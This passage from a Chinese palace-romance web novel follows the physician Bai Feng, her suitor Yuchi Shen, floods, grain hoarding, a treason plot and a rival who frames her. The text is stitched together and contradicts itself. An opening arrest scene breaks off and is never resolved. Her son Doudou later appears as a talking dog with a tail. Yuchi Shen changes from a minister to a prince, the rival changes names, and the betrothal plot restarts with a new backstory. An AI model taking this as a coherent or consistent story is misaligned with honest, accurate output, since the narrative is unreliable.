刀锋堪堪停在狗头上方。王三回头,冷冷道:“白凤,你若识相,就让这些畜生安分点。否则别怪本捕头不客气。” 白凤咬牙,冲老黄狗摇摇头。狗松开嘴,退到一边,眼里满是不甘。其他动物也渐渐安静下来。 屋里传来得意的喊声:“找到了!” 一个衙役捧着个木盒出来,打开给王三看。盒里装着几包药材,还有一本泛黄的医书。 “这不是我的东西!”白凤瞪大眼睛。 “不是你的,怎么在你家里?”王三合上盒子,“带走!” “慢着。”人群外传来个尖细的声音。 众人让开,师爷李文轩踱步进来,身后跟着沈冬梅。沈冬梅挺着微微隆起的肚子,脸上带着胜利者的笑。 白凤看向她,心里已明白三分。 “白凤啊白凤。”李文轩摇着折扇,“你医术再高,也不该私藏朝廷禁药。这医书上记载的方子,可都是宫中秘方,你一个民间大夫,如何得来?” “这本书根本不是我的!” “证据确凿,还敢狡辩?”李文轩收起扇子,指着木盒,“这盒子是你祖父留下的吧?盒里的东西不是你的,难道还是别人放的?” 白凤说不出话。那盒子确实是祖父遗物,平日里她放些贵重药材。可那本医书和几包药,她从未见过。 “师爷明鉴。”沈冬梅上前一步,抚着肚子,“我也是为了肚里的孩子,才不得不说出真相。前些日子,我亲眼看见白凤和几个陌生男子在后山密会,那些人一看就不是良善之辈。” “你胡说!”白凤气得浑身发抖。 “我胡”沈冬梅眼圈一红,“白凤,你医术高明,我一向敬重你。可你不该走上歧途啊!我肚里揣着孩子,本不想多管闲事,可眼看着你越陷越深,我实在不忍心——” 她说着说着,眼泪就下来了,梨花带雨的模样,惹得围观的人纷纷侧目。 “这女子倒是个好心肠。” “就是,挺着肚子还来作证,不容易。” “白凤平日看着挺正派,没想到——” 议论声此起彼伏,白凤只觉得一股寒意从脚底升起。她终于明白,这是一个局,专门为她设下的局。 李文轩满意地看着这一切,转向王三:“还愣着做什么?带走!” 衙役们上前,给白凤戴上镣铐。老黄狗呜咽着想扑过来,被一脚踹开。院里的动物们骚动起来,却被衙役们团团围住。 “把这些畜生也一并带回去!”王三下令,“说不定也是同谋!” “它们只是普通动物!”白凤挣扎着喊。 “普通动物会护主?普通动物会听人指挥?”李文轩冷笑,“白凤,你以为本官不知道你那点邪门手段?这些畜生留着也是祸害,一并收监!” 衙役们拿出铁笼子,开始抓捕院里的动物。 白凤正在院子里晾晒药材,听见敲门声就皱了眉。 豆豆跑去开门,没一会儿就拽着她的衣袖:“娘,有个叔叔找你。” 门口站着个身材颀长的男人,一身月白色长袍,腰间佩着玉佩,瞧着就是京城来的贵人。白凤认得他,就是那个传闻中的未婚夫尉迟深。 “白姑娘。”尉迟深抱拳行礼,态度恭谨,“在下尉迟深,特来接你回京。” 白凤手里的药材差点撒了一地:“谁要跟你回京?你走错门了吧。” 尉迟深愣住,显然没料到她会这么说话。他从怀里掏出一份婚书:“这是当年两家长辈定下的婚约,白姑娘难道忘了?” “我可没忘。”白凤把药材往竹筐里一扔,“但我也没答应过要嫁给你啊。” 豆豆躲在白凤身后,小声嘀咕:“娘,这叔叔长得挺好看的。” 白凤瞪了儿子一眼,转头对尉迟深说:“我现在过得挺好,不需要什么未婚夫。你哪来的回哪去,别耽误我晾药材。” 尉迟深站在原地没动:“白姑娘是因为朱小姐的事在生气?” “朱小姐?”白凤冷笑,“我连她是谁都不知道,生什么气?” “她是户部尚书的女儿,一直说……”尉迟深顿了顿,“说我和她有婚约在先。” 白凤这才明白过来。敢情这位尉迟大人脚踩两只船,现在又想起自己这个乡下未婚妻了? “那你去娶她好了。”白凤转身就要关门。 尉迟深伸手挡住门板:“我从未与朱家有过婚约,都是她一厢情愿。白姑娘,这其中有误会。” “误会不误会的,跟我有什么关系?”白凤用力推门,“我现在带着孩子过日子,不想掺和你们京城那些破事。” 尉迟深被推得后退两步,脸上闪过一丝受挫的神色。他大概没想到,堂堂户部侍郎,居然会被一个乡下女子拒之门外。 “白姑娘,婚约是长辈所定,你我都该遵守。” “我爹娘都没了,谁规定我必须遵守?”白凤说得理直气壮,“再说了,你要真想娶我,这么多年怎么不来找过一次?” 尉迟深张了张嘴,说不出话来。 第13章 厌恶至极 白凤抱起豆豆,砰地关上了门。 院子外面,尉迟深站了许久才离开。他住进镇上唯一的客栈,打算弄清楚到底是怎么回事。 这一查,还真查出了不少东西。 朱家小姐朱婉仪,从三年前开始就在京城散布谣言,说尉迟深对她情有独钟,两家早有婚约。尉迟深当时忙于公务,根本没把这些闲话放在心上,没想到越传越离谱,连白凤那边都听到了风声。 更过分的是,朱婉仪还托人给白凤送过几次东西,言辞间暗示她识相点,别痴心妄想嫁进京城。 白凤当时刚死了丈夫,带着孩子艰难度日,哪有心思管这些?但朱婉仪的人说得难听,什么“乡野村妇”“不知廉耻”,白凤听了个够,从此对尉迟深这个名字厌恶至极。 尉迟深在客栈里坐了一夜,第二天一早又去敲白凤的门。 这次白凤连门都不开:“说了不嫁就是不嫁,你烦不烦?” “我知道朱家对你说了什么。”尉迟深隔着门说,“但那些都是假的,我与朱婉仪清清白白,从未有过半点私情。” 白凤在屋里翻了个白眼:“关我什么事?” “婚约是真的,我对你的心意也是真的。” “得了吧。”白凤打开门,手里拿着扫帚,“你要再不走,我就不客气了。” 尉迟深看着她手里的扫帚,苦笑:“白姑娘,我真的……” “豆豆,去把你姥爷养的大黄叫来。” 豆豆立刻跑向后院,没一会儿就牵着一条半人高的土狗出来了。大黄看见陌生人,呲着牙低吼。 尉迟深认命地后退:“我明日再来拜访。” “不用了!”白凤砰地关上门。 接下来几天,尉迟深每天都来,白凤每天都赶。镇上的人看热闹看得津津有味,都说白凤好福气,这么俊的男人上赶着求娶,她还不乐意。 第五天,尉迟深终于放弃了。 他收拾行李准备回京,临走前在客栈留下一封信,托店小二转交给白凤。信里写得很简单,说自己回京后会立刻去朱家澄清,让朱婉仪不要再骚扰白凤。至于婚约,他会等,等到白凤愿意相信他的那一天。 白凤看完信,撇了撇嘴,把信纸扔进了灶膛。 豆豆趴在窗台上看着尉迟深的马车远去,小声说:“娘,那个叔叔走了。” “走了好。”白凤继续剁药材。 “可是我觉得他人挺好的。” “你懂什么?”白凤敲了敲儿子的脑袋,“男人的嘴,骗人的鬼。” 豆豆捂着头,不敢再说话。 尉迟深的马车走了三天,快到京城的时候,突然听见身后有人快马追来。 “尉迟大人!尉迟大人!” 尉迟深掀开车帘,看见白凤骑着马狂奔而来,身后还背着个药箱。 “白姑娘?”他立刻让车夫停下。 白凤勒住马,喘着粗气:“你先别回京。” “出什么事了?” “镇上要出事。”白凤翻身下马,“我昨天去山里采药,听见两个人说话,说是过几天有大雨,河堤要决口。” 尉迟深脸色一变:“你确定?” “我学医的,耳朵灵。”白凤说,“那两个人说得清清楚楚,还说什么趁着水灾发一笔横财。” 尉迟深当即决定返回镇上。他是朝廷命官,遇到这种事不能不管。 两人一起赶回镇上,尉迟深立刻去找镇长,说明情况。镇长半信半疑,但看在尉迟深的官职上,还是同意组织人手加固河堤。 果然,三天后暴雨倾盆。 河水暴涨,眼看就要漫过堤坝。全镇的青壮年都上了堤,拼命堆沙袋。白凤也没闲着,她在镇上开了粥棚,给救灾的人提供热食和药材。 豆豆帮着烧火,小脸熏得黑乎乎的。 尉迟深脱了外袍,和镇民一起扛沙袋。他虽然是文官,但力气不小,一个人能抵两个壮汉。 雨下了整整五天五夜,河堤终于守住了。 镇民们欢呼雀跃,纷纷感谢尉迟深和白凤。要不是他们提前准备,这次不知道要死多少人。 白凤累得腰都直不起来,靠在粥棚的柱子上喘气。 尉迟深走过来,递给她一碗热粥:“辛苦了。” 白凤接过碗,喝了一口:“你也是。” 两人相视一笑,之前的隔阂好像消散了不少。 大水退去后,镇上一片狼藉。 白凤每天忙着给受伤的人看病,药箱都快背烂了。豆豆跟在她身边打下手,小小年纪倒也懂事,知道递纱布递药。 这天,白凤刚给张木匠包扎完伤口,就听见外面传来吵闹声。 “你这个黑心肠的!我女儿死了,都是你害的!” 白凤走出去,看见王婆子坐在地上撒泼,身边围了一圈看热闹的人。 “王婆子,你这话是什么意思?”白凤皱眉。 “什么意思?”王婆子一把鼻涕一把泪,“我家大妞二妞都死了,你这个医婆居然还好意思问我什么意思?” 白凤记得,王家两个女儿是在水灾时被冲走的,跟她有什么关系? “你家女儿落水,我怎么救?” “你不是会医术吗?为什么不救她们?”王婆子越哭越大声,“我看你就是故意的!你嫌弃我家穷,不愿意出手!” 周围的人窃窃私语,有几个开始附和王婆子。 白凤气笑了:“你家女儿落水的时候,我在镇东给李家老太太接生,根本不知道这事。等我赶到河边,人都被冲走了,我上哪救去?” “你就是不想救!”王婆子一口咬定,“你要是真有本事,怎么会救不活?” “我是医婆,不是神仙。”白凤冷冷地说,“人都冲走了,我拿什么救?” 王婆子不依不饶,抓着白凤的衣袖不放:“你赔我女儿!赔我女儿!” 白凤用力甩开她,王婆子顺势往地上一躺,开始嚎哭。 “大家评评理啊!这个黑心肠的医婆,见死不救,还打人!” 人群里有人开始指指点点,说白凤医术不行,还说她仗着尉迟深撑腰,在镇上耀武扬威。 白凤站在那里,气得浑身发抖。 “够了。” 一个低沉的声音响起,人群自动让开一条路。尉迟深大步走来,脸色阴沉。 “王婆子,你家女儿是什么时候落水的?” 王婆子哭声一顿,嘟囔道:“初五傍晚。” 第14章 是谁去报的信? “初五傍晚,白姑娘在镇东李家接生,我亲眼所见。”尉迟深环视四周,“在场有谁能证明,白姑娘当时在河边?” 没人吭声。 “你家女儿落水时,是谁去报的信?” “是…是刘家小子。” “刘家小子跑去报信,白姑娘已经赶到河边,但你女儿早就被冲走了。”尉迟深一字一句地说,“这是刘家小子亲口说的,你要不要当面对质?” 王婆子脸色发白,支支吾吾说不出话。 “你女儿落水,是因为她们贪玩,跑到河边捞东西。”尉迟深继续说,“这是你自己管教不严,怪得了谁?” “我…我……” “白姑娘这些天救了多少人,你们都看在眼里。”尉迟深看向围观的人群,“现在出了事,就把责任推到她头上,你们的良心不会痛吗?” 人群里有人低下头,也有人开始小声替白凤说话。 王婆子见势头不对,爬起来就要跑。尉迟深叫住她:“等等,你污蔑白姑娘的名誉,该当何罪?” “我…我就是一时糊涂……” “糊涂?”尉迟深冷笑,“我看你是想讹诈吧?白姑娘这些天救人,你家也领了粥,现在反过来咬一口,好大的胆子。” 王婆子吓得跪在地上磕头:“大人饶命,大人饶命!” 白凤看着她,心里堵得慌。她这些天累死累活,到头来还要被人泼脏水。 尉迟深让人把王婆子拖走,转头对白凤说:“别理她,这种人就是欠收拾。” 白凤点点头,没说话。 接下来的日子,白凤和尉迟深配合得越来越默契。尉迟深负责组织重建工作,白凤负责医治伤患。豆豆成了两人之间的小信使,跑来跑去传话。 有一天,豆豆突然问白凤:“娘,尉迟叔叔是不是要做我爹?” 白凤正在煎药,听到这话手一抖,差点把药罐打翻。 “谁跟你说的?” “镇上的人都这么说。”豆豆眨着眼睛,“他们说尉迟叔叔对你特别好,肯定是想娶你。” 白凤不知道该怎么回答。 这段时间相处下来,她对尉迟深的印象确实改观了不少。这个男人虽然是京城来的贵人,但一点架子都没有,干起活来比谁都卖力。而且他对豆豆特别好,经常给豆豆讲故事,教豆豆认字。 但要说嫁给他……白凤还是有些犹豫。 “别瞎想。”白凤敲了敲豆豆的脑袋,“他是朝廷命官,怎么可能看上我一个乡下医婆?” 豆豆撇撇嘴,不说话了。 晚上,白凤给豆豆盖被子的时候,发现儿子睡得特别香,嘴角还带着笑。她突然意识到,豆豆可能是真的喜欢尉迟深。 这孩子从小没了爹,虽然嘴上不说,但心里肯定渴望有个父亲。 白凤叹了口气,吹灭了油灯。 第二天,白凤在药铺里整理药材,听见外面有人说话。 “听说了吗?边关那边要打仗了。” “真的假的?” “千真万确,我表哥在军营里当差,亲口跟我说的。” 白凤心里一动,竖起耳朵仔细听。 “打仗就打仗呗,跟咱们有什么关系?” “怎么没关系?打仗要用粮食啊,到时候粮价肯定涨。” “那可不一定,朝廷会调控粮价的。” “朝廷调控个屁,你没听说吗?有人想趁着灾情发一笔横财,囤积粮食,到时候高价卖给军队。” 白凤皱起眉头。这可不是小事,要是真有人囤积居奇,不仅老百姓要受苦,前线的将士也会受影响。 她想了想,决定去找尉迟深商量。 尉迟深听完白凤的话,脸色凝重:“你确定消息属实?” “我听得清清楚楚。”白凤说,“而且说话的那个人,他表哥确实在军营当差。” 尉迟深站起来,在屋里来回踱步:“如果真有人囤积粮食,这可是大事。我得立刻上报朝廷。” “等等。”白凤拦住他,“你这么上报,那些人肯定会提前转移粮食,到时候抓不到证据,反而打草惊蛇。” “那你说怎么办?” 白凤想了想:“不如我们先下手为强,把粮食都买下来。” 尉迟深愣住:“买粮食?” “对。”白凤眼睛一亮,“现在灾后重建,粮价还没涨,我们先把粮食收购了,等边关那边需要的时候,直接卖给朝廷,既能赚钱,又能断了那些人的财路。” 尉迟深思考片刻,点了点头:“这个主意不错,但需要大量银子。” “我有些积蓄。”白凤说,“你要是信得过我,咱们合伙干。” 尉迟深看着她,突然笑了:“好,就这么办。” 两人说干就干,立刻开始在周边几个镇上收购粮食。白凤医术好,在镇上人缘不错,很多人愿意把粮食卖给她。尉迟深则利用自己的关系,联系了几个粮商,大批量收购。 半个月后,两人手里囤了上万石粮食。 果然,没过多久,边关传来消息,说是要大量采购粮食。那些原本打算囤积居奇的粮商傻眼了,市面上根本没有粮食可买。 尉迟深直接把粮食卖给了朝廷,价格公道,还解了燃眉之急。皇帝龙颜大悦,下旨嘉奖。 白凤算了算账,这一笔买卖,她净赚了三千两银子。 豆豆看着白花花的银子,眼睛都直了:“娘,咱们发财了!” 白凤笑着揉揉儿子的头:“这都是尉迟叔叔的功劳。” 尉迟深摆摆手:“是你的主意,我只是帮忙而已。” 两人相视一笑,气氛和谐融洽。 这段时间,尉迟深和豆豆的关系越来越好。 豆豆每天缠着尉迟深,让他讲京城的故事,教他认字写字。尉迟深也不嫌烦,耐心地教,还给豆豆做了个风筝。 白凤看在眼里,心里五味杂陈。 有一天晚上,豆豆突然问白凤:“娘,尉迟叔叔什么时候走啊?” “快了吧。”白凤说,“他在京城还有公务。” 豆豆低下头,小声说:“我不想让他走。” 白凤心里一软,抱住儿子:“豆豆乖,尉迟叔叔是大官,不能一直陪着咱们。” “那他走了,还会回来吗?” “会的。”白凤说这话的时候,自己都不确定。 第15章 我不能再耽搁了 第二天,尉迟深果然提出要回京。 “朝中事务繁忙,我不能再耽搁了。”尉迟深看着白凤,“但我会尽快回来看你们。” 白凤点点头,没说话。 豆豆抱着尉迟深的腿,哭得稀里哗啦:“叔叔别走,我不想你走!” 尉迟深蹲下来,擦掉豆豆的眼泪:“豆豆乖,叔叔办完事就回来。” “你骗人!大人都是骗子!”豆豆哭得更凶了。 白凤把儿子拉开,对尉迟深说:“你走吧,别让豆豆更难受。” 尉迟深站起来,深深地看了白凤一眼:“我会回来的。” 马车远去,豆豆哭了整整一天。 白凤心里也不好受,但她知道,尉迟深有他的责任,不可能一直留在这里。 几天后,白凤决定送豆豆去学堂读书。 豆豆不愿意去,说学堂里的孩子都欺负人。白凤不理他,硬是把他送了去。 果然,第一天放学,豆豆就哭着回来了,说被几个大孩子欺负,还抢了他的书包。 白凤看着儿子身上的泥巴,气不打一处来。 “明天你骑大黑去上学。” 豆豆愣住:“大黑?” 大黑是白凤在山里救的一头小黑熊,养了两年,现在已经长得跟牛犊子差不多大了。平时大黑很温顺,但陌生人靠近的话,它会立刻龇牙咧嘴。 第二天,豆豆骑着大黑去了学堂。 学堂里的孩子看见黑熊,吓得四散奔逃。那几个原本欺负豆豆的大孩子,更是吓得屁滚尿流。 夫子气得胡子都翘起来了,跑去找白凤告状。 白凤笑眯眯地说:“夫子,我家豆豆胆小,带个伴去上学,应该不违反规矩吧?” 夫子哭笑不得:“可是…可是那是头熊啊!” “熊怎么了?熊也是动物,又不咬人。”白凤一脸无辜,“再说了,要不是有人欺负我家豆豆,我也不会让他带大黑去啊。” 夫子无言以对,只能回去警告那些欺负人的孩子,以后谁敢再欺负豆豆,就让他们跟大黑做伴。 从此以后,豆豆在学堂里过得顺风顺水,再也没人敢欺负他。 日子平静了一段时间,白凤的舅舅突然找上门来。 舅舅姓李,是个小军官,在边关驻守。这次回来,脸色憔悴,眼神闪烁,一看就有事。 “舅舅,你这是怎么了?”白凤给他倒了杯茶。 李舅舅喝了口茶,欲言又止。 舅妈在一旁哭哭啼啼:“凤儿啊,你得帮帮你舅舅,咱们家真的过不下去了。” 白凤皱眉:“出什么事了?” “你舅舅欠了赌债,债主天天上门要钱,再不还,就要把你舅舅的腿打断。”舅妈哭得更凶了。 白凤看向李舅舅,李舅舅低着头,不敢看她。 “欠了多少?” “五…五百两。” 白凤倒吸一口凉气。五百两不是小数目,她虽然有些积蓄,但也不能这么随便给出去。 “舅舅,你怎么能去赌博?” 李舅舅涨红了脸:“我也是没办法,军饷拖欠,家里揭不开锅,我想着赌一把,没想到……” “赌博能解决问题吗?”白凤有些生气,“你现在欠了债,让我怎么帮你?” 舅妈立刻跪下来:“凤儿,你就可怜可怜你舅舅吧,他要是出了事,咱们一家老小可怎么活啊!” 白凤看着舅妈的样子,心软了几分,但还是没松口。 李舅舅突然开口:“凤儿,我这里有个消息,你要是肯帮我还债,这个消息就告诉你。” “什么消息?” “关于边关的军事机密。”李舅舅压低声音,“我听说,边关有人要造反,勾结外敌,想里应外合攻打关内。” 白凤心里一惊:“你说什么?” “这是千真万确的。”李舅舅说,“我亲耳听见的,只是不知道具体是谁。” 白凤沉默片刻,最终还是拿出了五百两银子。 李舅舅拿了银子,千恩万谢地走了。 白凤坐在屋里,思考着李舅舅的话。如果边关真的有人要造反,这可是天大的事,必须尽快告诉尉迟深。 她连夜收拾行李,带上豆豆,雇了辆马车,快马加鞭赶往京城。 路上,白凤听说李舅舅因为偷盗军事机密,被抓了起来。她心里一沉,知道舅舅这次凶多吉少。 果然,没过几天,就传来消息,李舅舅被处死了。 舅妈带着孩子来找白凤,哭得死去活来。白凤心里难受,但也没办法,只能收留了舅妈一家,一起搬去京城。 到了京城,白凤第一时间去找尉迟深。 尉迟深听完白凤的话,脸色大变:“你确定这个消息属实?” “我舅舅是拿命换来的消息,应该不会有假。”白凤说,“你赶紧上报朝廷吧。” 尉迟深立刻进宫面圣,把边关的情况详细禀报。皇帝震怒,下旨彻查此事。 经过一番调查,果然查出了几个叛徒,还有勾结外敌的证据。朝廷迅速出兵,将叛乱扼杀在摇篮里。 皇帝对尉迟深大加赞赏,提拔他为户部尚书,还赏赐了大量财物。 尉迟深把一半赏赐都给了白凤,说是感谢她提供情报。 白凤推辞不过,只能收下。 豆豆看着满屋子的金银珠宝,高兴得手舞足蹈:“娘,咱们真的发财了!” 白凤笑着摇摇头,心里却在想,这一路走来,真是不容易。 舅舅死了,舅妈带着孩子投奔她,她现在要养活一大家子人。好在手里有些积蓄,日子倒也过得去。 尉迟深帮她在京城买了个宅子,还给豆豆找了个好夫子,让他继续读书。 豆豆在京城的学堂里,依然带着大黑上课。京城的孩子见多识广,倒也不怎么怕,反而觉得新鲜,天天围着大黑看。 有一天,尉迟深来看白凤,说是皇帝要见她。 白凤吓了一跳:“皇帝见我干什么?” “你提供的情报,帮朝廷平定了叛乱,皇帝要当面嘉奖你。” 白凤紧张得不行,跟着尉迟深进了宫。 皇帝是个五十多岁的中年男人,看起来威严十足。他看着白凤,笑着说:“你就是白凤?果然是巾帼不让须眉。” 白凤跪下行礼:“民女不敢当。” “你不仅医术高明,还有一颗赤诚之心,朕很欣慰。”皇帝说,“朕要赏你千金,封你为诰命夫人。” 白凤连忙推辞:“民女不敢,这都是应该做的。” 皇帝哈哈大笑:“你这丫头,倒是有趣。” 出了宫,白凤还是晕乎乎的,觉得像做梦一样。 尉迟深看着她,笑道:“怎么样,当诰命夫人的感觉如何?” 第16章 你还没回答我 白凤白了他一眼:“你就知道取笑我。” “我可没取笑你。”尉迟深认真地说,“白凤,我想娶你。” 白凤愣住,一时不知道该说什么。 尉迟深握住她的手:“这段时间相处下来,我发现我离不开你了。你愿意嫁给我吗?” 白凤看着他,心里涌起一股暖流。 “我……” “娘!尉迟叔叔!”豆豆突然跑过来,打断了两人的对话,“夫子说明天要考试,我还没准备好呢!” 白凤哭笑不得,推开尉迟深的手:“你这孩子,真是的。” 尉迟深也笑了,揉揉豆豆的头:“那你赶紧回去准备吧。” 豆豆跑远了,白凤转身要走,被尉迟深拉住。 “你还没回答我。” 白凤脸一红,小声说:“我…我再想想。” 尉迟深笑了,松开她的手:“好,我等你。” 白凤快步走开,心跳得厉害。 她知道,这一次,她可能真的要嫁人了。 白凤站在尉迟府的门外,手里攥着一块糕点。 “姑娘,您真要进去?”豆豆蹲在她脚边,尾巴紧张地甩来甩去。 “废话。” 白凤抬脚就往里走,门房拦都没拦住。她这辈子头一回主动找男人,还是为了结盟——想想就觉得荒唐,但更荒唐的是那些真相。 三天前,她从府里老管家那儿套出了话。当年父母被贬,根本不是什么贪污军饷,而是有人栽赃。账本是假的,证人是买通的,就连递折子参奏的官员,都跟太子府来往密切。 老管家说完就哭了,白凤却没掉一滴眼泪。 她只觉得胸口堵得慌。 “尉迟深在哪儿?”她拽住一个小厮。 “王、王爷在书房——” 白凤松开手,直接往书房去。豆豆在后面小跑着追,气喘吁吁:“姑娘你慢点,万一王爷不在呢?” “那就等。” 书房的门半掩着,里面传来翻书的声音。白凤推门进去,尉迟深正坐在案前看兵书,听见动静抬起头,眼里闪过一丝意外。 “你怎么来了?” “娶我。”白凤开门见山。 尉迟深手一抖,兵书差点掉地上。他盯着白凤看了好一会儿,才说:“你说什么?” “我说,娶我。”白凤走到案前,双手撑在桌上,“我爹娘的案子有蹊跷,幕后的人跟太子有关。你想扳倒太子,我想翻案,咱们各取所需。” 尉迟深放下书,往椅背上一靠:“所以你打算用婚事做交易?” “不然呢?难道你以为我对你一见钟情?”白凤翻了个白眼,“别多想,我只是需要一个盟友。” 尉迟深笑了,笑得有点无奈:“你倒是坦白。” “坦白总比虚情假意强。”白凤直起身,“你答不答应?不答应我就找别人。” “找谁?” “谁有实力找谁。” 尉迟深站起来,走到白凤面前。他比她高出大半个头,这么居高临下地看着,白凤竟然有点不自在。 “成交。”尉迟深说,“不过有个条件。” “什么?” “成亲之后,你得真的当我的王妃,而不是表面夫妻。” 白凤愣了一下,随即点头:“行。” 反正她也没打算假戏假做。既然要结盟,就得结得彻底。 两人正说着话,外面突然传来一阵喧哗。白凤皱眉:“怎么回事?” 话音刚落,书房的门被人一把推开。 柳如意站在门口,脸色煞白,身后跟着一群丫鬟婆子。她看见白凤和尉迟深站得那么近,眼睛瞬间红了。 “王爷,她、她怎么在这儿?”柳如意的声音都在发抖。 “本王的府邸,本王想见谁就见谁。”尉迟深语气平淡,“倒是柳小姐,谁让你擅闯书房的?” 柳如意咬着嘴唇,眼泪啪嗒啪嗒往下掉:“王爷,我、我是听说白凤来了,怕她又对您不利……” “不利?”白凤乐了,“柳小姐,你这脑子是不是进水了?我要是想对王爷不利,早就动手了,还用等到现在?” “你!”柳如意气得浑身发抖,“你别以为我不知道,你接近王爷就是为了复仇!当年你爹娘被贬,你肯定怀恨在心——” “够了。”尉迟深打断她,“柳如意,你知不知道自己在说什么?” 柳如意一愣,眼泪流得更凶了:“王爷,我、我这都是为了您好……” “为我好?”尉迟深冷笑,“那当初是谁,在本王面前说白凤心术不正,让本王对她起疑心?又是谁,跑到白凤那儿添油加醋,说本王对她有意见?” 柳如意脸色刷地白了:“王爷,我、我没有……” “你有没有,你自己心里清楚。”尉迟深走到她面前,“柳如意,本王一直把你当朋友,可你做的那些事,真当本王不知道?” 柳如意浑身发抖,嘴唇都咬出了血。她抬起头,眼里满是不甘:“王爷,我做的一切都是因为喜欢您!我只是不想看着您被她骗——” “所以你就挑拨离间?”白凤插嘴,“柳小姐,你这份喜欢可真够沉重的。” 柳如意猛地转头,眼里的恨意几乎要溢出来:“白凤,你有什么资格说我?你不过是个罪臣之女,凭什么站在王爷身边?” “就凭王爷愿意。”白凤耸耸肩,“对了,忘了告诉你,王爷刚才答应娶我了。” 柳如意瞪大眼睛,整个人摇晃了一下。她死死盯着尉迟深:“王爷,这、这是真的?” 尉迟深没说话,算是默认了。 柳如意踉跄后退两步,突然捂住胸口,一口鲜血喷了出来。 白凤吓了一跳:“我去,真吐血了?” 豆豆在她脚边幸灾乐祸:“活该,谁让她老是针对你。” 柳如意被丫鬟扶住,她抬起头,眼里的恨意几乎化成实质:“白凤,我不会放过你的……” 说完,她转身踉跄着离开了。 白凤看着她的背影,摸了摸下巴:“这人不会记仇吧?” “肯定会。”尉迟深说,“不过无妨,她翻不起什么浪花。” 白凤点点头,正要说话,突然听见一个细细的声音:“那个女人终于走了,烦死了。” 她低头一看,一只白猫正蹲在窗台上,用爪子洗脸。 “你是谁家的猫?”白凤问。 白猫抬起头:“我是柳如意那个女人的,不过我早就受够她了。天天对着镜子哭哭啼啼,烦不烦?” 白凤来了兴趣:“哦?那你知不知道她有什么秘密?” 第17章 你想知道哪个? 白猫舔了舔爪子:“秘密多了去了。你想知道哪个?” “最劲爆的那个。” 白猫想了想:“那应该是……她跟太子有一腿的事吧。” 白凤愣住了。 尉迟深也愣住了。 “你说什么?”白凤蹲下来,盯着白猫,“再说一遍。” “我说,柳如意跟太子有一腿。”白猫无辜地眨眨眼,“去年春天,太子来过柳府好几次,每次都是深夜。我亲眼看见他们在花园里……嗯,反正就是那种事。” 白凤倒吸一口凉气。 这瓜,也太大了。 消息传出去的速度比白凤想象的还快。 第二天一早,整个京城都在传柳如意和太子的事。有人说他们早就私定终身,有人说柳如意怀了太子的孩子,还有人说太子承诺等登基后立她为后。 白凤坐在院子里吃早饭,听着豆豆转述外面的流言蜚语,觉得挺有意思。 “姑娘,你说柳如意现在是什么心情?”豆豆啃着骨头,含糊不清地问。 “大概恨不得把我千刀万剐吧。”白凤喝了口粥,“不过这也怪不得我,谁让她自己做事不干净。” 话音刚落,管家急匆匆跑进来:“姑娘,柳府来人了,说是柳老爷要见您。” 白凤挑眉:“见我干什么?” “说是……说是要您给个说法。” 白凤放下碗,站起来:“走,去看看。” 柳府的客厅里,柳老爷坐在主位上,脸色铁青。柳如意站在他身后,眼睛肿得跟核桃似的,看见白凤进来,眼里的恨意几乎要把人烧穿。 “白姑娘,你可真是好手段。”柳老爷冷笑,“为了嫁进王府,连这种谣言都编得出来。” 白凤在椅子上坐下:“柳老爷这话说得奇怪,什么叫我编的?我可什么都没说。” “不是你说的,难道是鬼说的?”柳如意尖声道,“整个京城都在传我和太子的事,除了你还有谁?” “那可不一定。”白凤慢悠悠地说,“也许是你们做事不小心,被别人看见了呢?” 柳如意气得浑身发抖:“你胡说!我和太子清清白白,根本没有那种事!” “哦。”白凤点点头,“那你解释一下,去年春天太子为什么深夜去你家?” 柳如意脸色一白。 “你、你怎么知道……” “我当然知道。”白凤笑了,“柳小姐,你以为你做的事天衣无缝?可惜啊,纸包不住火。” 柳老爷猛地站起来,指着白凤:“你、你这是污蔑!我要去告你!” “去啊。”白凤耸耸肩,“正好我也想知道,太子殿下会不会为了柳小姐出头。” 柳老爷气得说不出话来。 柳如意死死咬着嘴唇,突然扑通一声跪下了:“白凤,我求你,别再说了……” 白凤看着她,没说话。 “我知道我以前做错了很多事,我不该挑拨你和王爷的关系,不该在背后说你坏话……”柳如意哭得梨花带雨,“但求你看在我们曾经也算相识一场的份上,放过我这一次……” “放过你?”白凤笑了,“柳如意,你知不知道,当初我爹娘被贬,你们柳家也参了一脚?” 柳如意愣住了。 柳老爷也愣住了。 “你、你说什么?”柳老爷结结巴巴地问。 “我说,当年陷害我爹娘的人里面,就有你们柳家。”白凤站起来,走到柳如意面前,“你以为我不知道?你爹当年收了太子府的银子,作伪证说我爹贪污军饷。柳如意,你说我该不该放过你?” 柳如意脸色惨白,整个人瘫在地上。 柳老爷张了张嘴,却什么都说不出来。 “所以啊,柳小姐,你现在知道了吧。”白凤居高临下地看着她,“我不是针对你,我只是在讨回公道。至于你和太子的事,那是你自己种的因,现在不过是结果罢了。” 说完,她转身离开了。 走出柳府,豆豆凑过来:“姑娘,你刚才好帅!” “少拍马屁。”白凤踢了它一脚,“走,回府。” 然而事情远没有结束。 柳如意和太子的事传开之后,柳家彻底倒向了太子一派。柳老爷进宫面圣,说是有要事禀报,出来之后就昭告天下,说柳如意和太子情投意合,等太子登基后就会册封她为后。 白凤听到这个消息,只觉得好笑。 “这是破罐子破摔了?”她问豆豆。 “应该是。”豆豆说,“反正事情都传开了,不如干脆承认,说不定还能博个痴情的名声。” “痴情个屁。”白凤翻了个白眼,“分明是想坐稳皇后之位。” 然而她没想到,柳如意的动作比她想象的还快。 半个月后,皇妃在宫里设宴,邀请各府的女眷参加。白凤本来不想去,但尉迟深说这是个好机会,可以见见那些贵妇人,以后办事方便。 白凤想了想,觉得有道理,就答应了。 宴会那天,白凤穿了一身素净的衣裳,带着豆豆进了宫。 宴会设在御花园,到处都是莺歌燕舞,觥筹交错。白凤找了个角落坐下,端着茶杯观察四周。 柳如意也来了,她穿着一身华丽的衣裙,坐在太子妃身边,笑得春风得意。看见白凤,她眼里闪过一丝恨意,但很快就掩饰过去了。 “白姑娘,好久不见。”太子妃笑着走过来,“听说你要嫁给尉迟王爷了?恭喜啊。” “多谢。”白凤客气地回应。 太子妃在她身边坐下,压低声音:“白姑娘,有句话我不知道该不该说……” “太子妃请讲。” “柳如意这个人,你还是小心点。”太子妃说,“她现在恨透了你,指不定会做出什么事来。” 白凤笑了:“多谢提醒,我会注意的。” 太子妃点点头,正要说话,突然有人尖叫起来。 “不好了!皇妃娘娘晕倒了!” 御花园瞬间乱成一团。 白凤放下茶杯,跟着人群往皇妃那边走。皇妃躺在软榻上,脸色青白,嘴唇发紫,太医正在把脉,额头上全是冷汗。 “怎么回事?”皇上匆匆赶来,脸色铁青。 